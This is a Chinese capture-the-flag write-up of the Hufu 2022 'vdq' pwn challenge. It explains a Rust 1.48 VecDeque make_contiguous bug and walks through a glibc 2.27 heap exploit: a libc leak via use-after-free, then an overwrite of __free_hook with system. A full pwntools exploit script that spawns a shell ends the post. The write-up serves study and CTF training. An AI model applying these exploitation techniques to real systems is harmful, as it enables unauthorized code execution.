虎符2022_vdq(rust_cve)详解
概述
这题是 GLIBC 2.27-3ubuntu1.5 的版本,想着 2.27 可以直接 free 两次,但是这个 2.27-3ubuntu1.5 patch 了 double free,还加了 key,double_free 就没那么好搞,所以这题我用的是任意写 free_hook 为 system 进行getshell
代码审计
需要了解一下 rust 的函数
VecDeque 的相关函数的官方文档
https://doc.rust-lang.org/std/collections/struct.VecDeque.html
结构体 VecDeque,双端队列
pub struct VecDeque<
T,
#[unstable(feature = "allocator_api", issue = "32838")] A: Allocator = Global,
> {
// tail and head are pointers into the buffer. Tail always points
// to the first element that could be read, Head always points
// to where data should be written.
// If tail == head the buffer is empty. The length of the ringbuffer
// is defined as the distance between the two.
tail: usize,
head: usize,
buf: RawVec<T, A>,
}
tail 指向第一个要被 pop 的元素,head 指向 第一个要写入的地方
pop_front
fn pop_front(&mut self) -> Option<T>
// 移除最前面的元素,也就是移除 tail 指向的元素,且返回元素,如果 VecDeque 为空,就返回 null
// tail 会加 1
push_back 函数
pub fn push_back(&mut self, value: T)
// 添加元素到尾部,也就是 head 指向的地方
// head 会加 1
push_front 函数
pub fn push_front(&mut self, value: T)
// 添加元素到头部
// tail 会减 1
drop_in_place 函数
pub unsafe fn drop_in_place(self)
// 没看到 src,调试看差不多是 free 函数这种功能
with_capacity 函数
pub fn with_capacity(capacity: usize) -> VecDeque<T, Global>
// 创建一个 VecDeque,至少有 capacity 容量
然后会自动扩容
append 函数
pub fn append(&mut self, other: &mut VecDeque<T, A>)
// 将 other 的元素移入 self
这题的 append 函数是对 chunk 进行操作的
调试来看的话,空间够就会直接移入,空间不够就会重新申请一个 chunk,然后移入
然后分析一下程序
程序一开始就是用 get_opr_lst 读取操作,然后
然后对输入进行 json解析反序列化,给到 handle_opr_lst 函数进行操作
输入格式应该以 $ 结尾,大致如下
a = '''[
"Add", "Add", "Remove", "Remove", "Add", "Add", "Add"
]
$'''
handle_opr_lst 首先创建一个 capacity 为 2 的 VecDeque 双端队列 dq,然后又 new 一块空间(这个不重要)
dq 会自己扩容,一开始是 0x30 的 chunk,也就是有 0x20 的空间,可以放四个元素(0,1,2,3)
扩容一次就变成 0x50,放八个元素,以此类推。。。
之后就是进入一个循环,进行 switch,一共五个功能
swtich 0:add
swtich 1:remove
swtich 2:append
swtich 3:Archive
swtich 4:View
一个个看吧
先看 add
会创建一个 0x30 的 chunk,结构如下
chunk
00000000 chunk_size
bit idx(1开始)
mess_ptr min
from_len
from_len 就是之后 append 函数追加的位置
根据 head 位置进行添加
再看一下 remove
其实就是检查 bit,然后检查是否为空,然后根据 tail 的位置进行 free
接着是 append
就是根据 append 的大小申请一个 chunk,然后将 chunk 的内容复制进 mess_ptr,大小够就直接复制,不够的话就 free 原先的 mess_ptr,然后再 malloc 一个新的 mess_ptr,最后将一开始申请的 chunk free 掉
然后是 Archive
这个 Archive 正常情况下只是进行 pop_front,tail+1,没有实际的 free操作,但是如果 bit 检查失败,也就是 bit 不为 1,那就会进行 free 操作,会报 double_free,然后 crash
这题我主要用这个 Archive 来调整 tail,没发现 Archive 的其他用法
这个 view 就是根据 tail 的位置输出各个 mess_ptr 指向的内容
一开始认为这个 view 不太可能有漏洞,但网上看到 1.48 有个 make_contiguous 的 cve
漏洞就在这
https://github.com/rust-lang/rust/issues/79808
patch
https://github.com/rust-lang/rust/pull/79814/files
先查一下程序版本,确实是 1.48 的 rust 程序
strings vdq1 | grep version
clang LLVM (rustc version 1.48.0 (7eac88abb 2020-11-16))
make_contiguous 主要作业就是试元素变得连续
make_contiguous 源码
make_contiguous
#[stable(feature = "deque_make_contiguous", since = "1.48.0")]
pub fn make_contiguous(&mut self) -> &mut [T] {
if self.is_contiguous() {
let tail = self.tail;
let head = self.head;
return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };
}
let buf = self.buf.ptr();
let cap = self.cap();
let len = self.len();
let free = self.tail - self.head;
let tail_len = cap - self.tail;
if free >= tail_len {
// there is enough free space to copy the tail in one go,
// this means that we first shift the head backwards, and then
// copy the tail to the correct position.
//
// from: DEFGH....ABC
// to: ABCDEFGH....
unsafe {
ptr::copy(buf, buf.add(tail_len), self.head);
// ...DEFGH.ABC
ptr::copy_nonoverlapping(buf.add(self.tail), buf, tail_len);
// ABCDEFGH....
self.tail = 0;
self.head = len;
}
} else if free >= self.head {
// there is enough free space to copy the head in one go,
// this means that we first shift the tail forwards, and then
// copy the head to the correct position.
//
// from: FGH....ABCDE
// to: ...ABCDEFGH.
unsafe {
ptr::copy(buf.add(self.tail), buf.add(self.head), tail_len);
// FGHABCDE....
ptr::copy_nonoverlapping(buf, buf.add(self.head + tail_len), self.head);
// ...ABCDEFGH.
self.tail = self.head;
self.head = self.tail + len;
}
} else {
// free is smaller than both head and tail,
// this means we have to slowly "swap" the tail and the head.
//
// from: EFGHI...ABCD or HIJK.ABCDEFG
// to: ABCDEFGHI... or ABCDEFGHIJK.
let mut left_edge: usize = 0;
let mut right_edge: usize = self.tail;
unsafe {
// The general problem looks like this
// GHIJKLM...ABCDEF - before any swaps
// ABCDEFM...GHIJKL - after 1 pass of swaps
// ABCDEFGHIJM...KL - swap until the left edge reaches the temp store
// - then restart the algorithm with a new (smaller) store
// Sometimes the temp store is reached when the right edge is at the end
// of the buffer - this means we've hit the right order with fewer swaps!
// E.g
// EF..ABCD
// ABCDEF.. - after four only swaps we've finished
while left_edge < len && right_edge != cap {
let mut right_offset = 0;
for i in left_edge..right_edge {
right_offset = (i - left_edge) % (cap - right_edge);
let src: isize = (right_edge + right_offset) as isize;
ptr::swap(buf.add(i), buf.offset(src));
}
let n_ops = right_edge - left_edge;
left_edge += n_ops;
right_edge += right_offset + 1;
}
self.tail = 0;
self.head = len;
}
}
let tail = self.tail;
let head = self.head;
unsafe { &mut self.buffer_as_mut_slice()[tail..head] }
}
我主要用的这一块的漏洞
let tail = self.tail;
let head = self.head;
let buf = self.buf.ptr();
let cap = self.cap();
let len = self.len();
let free = self.tail - self.head;
let tail_len = cap - self.tail;
} else if free >= self.head {
// there is enough free space to copy the head in one go,
// this means that we first shift the tail forwards, and then
// copy the head to the correct position.
//
// from: FGH....ABCDE
// to: ...ABCDEFGH.
unsafe {
ptr::copy(buf.add(self.tail), buf.add(self.head), tail_len);
// FGHABCDE....
ptr::copy_nonoverlapping(buf, buf.add(self.head + tail_len), self.head);
// ...ABCDEFGH.
self.tail = self.head;
self.head = self.tail + len;
}
利用
一开始没扩容时,让 head 和 tail 都为 2
然后 push_back 三次,第三次申请 0x410 的大小,也就是 c 为 0x420
此时
let tail = self.tail;// 2
let head = self.head;// 1
let buf = self.buf.ptr();// 0
let cap = self.cap();// 4
let len = self.len();//
let free = self.tail - self.head;// 1
let tail_len = cap - self.tail;// 2
然后进行 make_contiguous
} else if free >= self.head {
// there is enough free space to copy the head in one go,
// this means that we first shift the tail forwards, and then
// copy the head to the correct position.
//
// from: FGH....ABCDE
// to: ...ABCDEFGH.
unsafe {
ptr::copy(buf.add(self.tail), buf.add(self.head), tail_len);
// FGHABCDE....
ptr::copy_nonoverlapping(buf, buf.add(self.head + tail_len), self.head);
// ...ABCDEFGH.
self.tail = self.head;// 2
self.head = self.tail + len;// 4
}
就会变成,发现有两个 c,就可以进行 uaf
只需要 remove 三次,使 tail 指向0,然后再 view,就可以 leak 出 c 的内容,也就是 libc 相关地址
接下来就是使其扩容,cap 就变成了 8,然后调整成下面这样,再进行 make_contiguous 操作
let tail = self.tail;// 4
let head = self.head;// 2
let buf = self.buf.ptr();
let cap = self.cap();// 8
let len = self.len();// 6
let free = self.tail - self.head;// 2
let tail_len = cap - self.tail;// 4
} else if free >= self.head {
// there is enough free space to copy the head in one go,
// this means that we first shift the tail forwards, and then
// copy the head to the correct position.
//
// from: FGH....ABCDE
// to: ...ABCDEFGH.
unsafe {
ptr::copy(buf.add(self.tail), buf.add(self.head), tail_len);
// FGHABCDE....
ptr::copy_nonoverlapping(buf, buf.add(self.head + tail_len), self.head);
// ...ABCDEFGH.
self.tail = self.head;// 2
self.head = self.tail + len;// 2+6 = 8
}
就会变成这样,首位有两个相同的元素
然后现将 t 调整到 6,然后 remove a,这时 a 就在 tcahce(0x30) 中,然后再 append b,就会取出 a 作为临时的 tmp,然后将 a 的 ptr 改成 p64(free_hook-0xa),因为最后会有回车,也就是 0xa,之后 append a 的时候会从 0xa 的地方开始写,所以这里 free_hook 要减 0xa,append b 之后,再用 Archive 调整 t 的位置,t 就到了 0 的位置,再 append a 就可以修改 free_hook 了,改成 system,就可以 getshell 了
exp
#! /usr/bin/env python3
from pwn import *
arch = 64
challenge = './vdq1'
context.os = 'linux'
# context.log_level = 'debug'
if arch == 64:
context.arch = 'amd64'
if arch == 32:
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(challenge)
libc = ELF('libc-2.27.so')
local = 1
if local:
p = process(challenge)
else:
p = remote('chuj.top', '53178')
def debug():
gdb.attach(p,"\
b *$rebase(0xDB51)\nb *$rebase(0xDB6f)\n\
b *$rebase(0xDE53)\nb *$rebase(0xE311)\n\
b *$rebase(0xE2B8)\nb *$rebase(0xE456)\n\
b *$rebase(0xE383)\nb *$rebase(0xDFAF)\n\
b *$rebase(0xE0C2)\nb *$rebase(0xE456)\n\
b *$rebase(0xE0DE)\nb *$rebase(0xDE16)\n\
b *$rebase(0xe069)")
# pause()
p.recvuntil('!\n')
#! line5: 4 2 2 2+6 2 8
a = '''[
"Add", "Add", "Remove", "Remove", "Add", "Add", "Add",
"View",
"Remove", "Remove", "Remove", "View",
"Add", "Add", "Add", "Add", "Remove", "Remove", "Remove", "Remove",
"Add", "Add","Add", "Add", "Add", "Add",
"View",
"Remove", "Remove", "Remove", "Remove", "Remove",
"Append", "Archive", "Append", "Add"
]
$'''
debug()
p.sendline(a)
p.recvuntil('Add note [1] with message : \n')
p.sendline('')
p.recvuntil('Add note [2] with message : \n')
p.sendline('')
p.recvuntil('Add note [3] with message : \n')
p.sendline('')
p.recvuntil('Add note [4] with message : \n')
p.sendline('')
p.recvuntil('Add note [5] with message : \n')
p.sendline(0x410*'a')
p.recvuntil('Cached notes:\n')
p.recvuntil('Cached notes:\n')
p.recvuntil(' -> ')
a1 = p.recv(2)
a2 = p.recv(2)
a3 = p.recv(2)
a4 = p.recv(2)
a5 = p.recv(2)
a6 = p.recv(2)
libc.address = int(a6+a5+a4+a3+a2+a1,16)-0x3ebca0
log.success("libc.address: "+hex(libc.address))
free_hook = libc.symbols["__free_hook"]
log.success("free_hook: "+hex(free_hook))
system = libc.symbols["system"]
log.success("system: "+hex(system))
p.recvuntil('Add note [6] with message : \n')
p.sendline('')
p.recvuntil('Add note [7] with message : \n')
p.sendline('')
p.recvuntil('Add note [8] with message : \n')
p.sendline('')
p.recvuntil('Add note [9] with message : \n')
p.sendline('')
p.recvuntil('Add note [10] with message : \n')
p.sendline('')
p.recvuntil('Add note [11] with message : \n')
p.sendline('')
p.recvuntil('Add note [12] with message : \n')
p.sendline('')
p.recvuntil('Add note [13] with message : \n')
p.sendline('')
p.recvuntil('Add note [14] with message : \n')
p.sendline('')
p.recvuntil('Add note [15] with message : \n')
p.sendline('')
p.recvuntil('Append with message : \n')
p.sendline(p64(0x0)+p64(0)+p64(free_hook-0xa)+p64(0))
p.recvuntil('Append with message : \n')
p.sendline(p64(system))
p.recvuntil('Add note [16] with message : \n')
p.sendline(b'/bin/sh\x00')
p.interactive()
# [
# "Add",
# "Remove",
# "Append",
# "Archive",
# "View"
# ]
可以看到成功 getshell 了